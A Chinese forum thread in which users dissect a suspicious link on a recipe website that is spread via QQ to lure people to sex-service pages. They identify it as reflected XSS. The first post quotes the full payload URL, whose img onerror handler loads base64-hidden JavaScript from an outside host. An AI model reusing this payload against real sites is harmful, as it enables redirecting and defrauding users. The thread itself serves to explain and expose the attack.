这是什么套路？是注入攻击还是伪装非法业务？

[jackOff]

www.douguo.com 从这里进去是正常的食谱网站

https://m-pr.douguo.com/caipu/%E7%89%9B%E8%82%89?f=xss%22%3E%3Cimg%20src=x%20onerror=%22s=document.createElement(%27script%27);s.src=atob(%27Ly9zY3JpcHQudGlhbmppbmdjYWkuY24vMi5qcw==%27);document.body.appendChild(s)%22%3E&d=DxsAHxlTTkIOAkZBHQdPDgMBWgICBwQfSQwaQAcYVB1VBw1AIAYwJ1A8Ny0lRlBaUlxDV15ZUVRUV0FBAh0MAQ%3D%3D&qq_aio_chat_type=-1

在 qq 里发送这个链接就是类似涉黄约炮客服？

这到底是在正常网络业务里携带非法业务，还是网站被注入攻击了？

[renmu]

我认为是被黑了，这个平台 11 年就有了，有备案，有商场等各种业务

[Vancion]

被搞了。可以丢给 LLM 分析一下。大概就是 s.src=atob 后面那段，你自己 base64 解码也能看到加载的 js

[sheeta]

xss 注入

[MFWT]

典型的 XSS 注入，URL 解码一下就很清楚了，让 img 的 src 等于无效地址，然后通过 onerror 触发脚本，从第三方网页加载 js 文件插入到当前网页并执行

看着是利用这种人畜无害的链接做跳转站

[imlonghao]

XSS

[MFWT]

跟了一下，跳转过去是一个游戏网站（具体链接就不放了，跟踪所加载的 js 代码很容易发现）的 未鉴权 且 未做类型限制 的图床，被人抓口子上传非法网页了

[pusheax]

反射型 XSS 。
这网站有一处漏洞，会把 get 参数的输入内容拼接到网页中。攻击者往 get 参数里面插跳转网页的 html 代码，当用户点击含有这段代码的连接时，就会触发 xss 跳转到恶意网站。
由于用户点击的链接其实是合法网站（之后才跳转非法网站），所以可以绕过一些安全检测（例如微信的“该网址已被多人举报”）。

[jackOff]

@MFWT @Vancion @imlonghao @pusheax @renmu @sheeta 学到了